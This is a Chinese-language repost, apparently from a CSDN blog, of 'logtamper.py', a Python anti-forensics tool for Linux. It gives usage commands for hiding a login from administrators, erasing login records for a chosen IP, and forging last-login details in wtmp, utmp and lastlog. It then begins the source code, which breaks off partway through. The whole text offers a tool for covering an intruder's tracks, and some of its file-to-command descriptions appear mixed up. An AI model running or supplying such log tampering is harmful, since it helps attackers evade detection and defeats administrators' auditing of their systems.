原作者原文:https://blog.csdn.net/qq_27446553/article/details/51434451
躲避管理员who查看
python logtamper.py -m 1 -u username -i 192.168.0.188
清除指定ip的登录日志
python logtamper.py -m 2 -u username -i 192.168.0.188
修改上次登录时间地点
python logtamper.py -m 3 -u username -i 192.168.0.188 -t tty1 -d 2014:05:28:10:11:12
这里对-m参数补充说明一下:
-m 操作的模式 固定值,3个可选【1/2/3】
分别是
1:修改当前登陆用户。日志文件:/var/log/wtmp 查看命令:
who
2:清除登陆日志。日志文件:/var/run/utmp 查看命令:
last | more
3、不是清除,是修改覆盖上次的登陆信息,要修改的用户为-u后面的参数,改为后面 -i -t -d的信息。所以,例如,想改root用户,则-u root,-i -t -d随便输入。日志文件:/var/log/lastlog 查看命令:
lastlog
源代码:
#!/usr/bin/env python # -*- coding:utf-8 -*- # mail: cn.b4dboy@gmail.com import os, struct, sys from pwd import getpwnam from time import strptime, mktime from optparse import OptionParser UTMPFILE = "/var/run/utmp" WTMPFILE = "/var/log/wtmp" LASTLOGFILE = "/var/log/lastlog" LAST_STRUCT = 'I32s256s' LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT) XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x' XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT) def getXtmp(filename, username, hostname): xtmp = '' try: fp = open(filename, 'rb') while True: bytes = fp.read(XTMP_STRUCT_SIZE) if not bytes: break data = struct.unpack(XTMP_STRUCT, bytes) record = [(lambda s: str(s).split("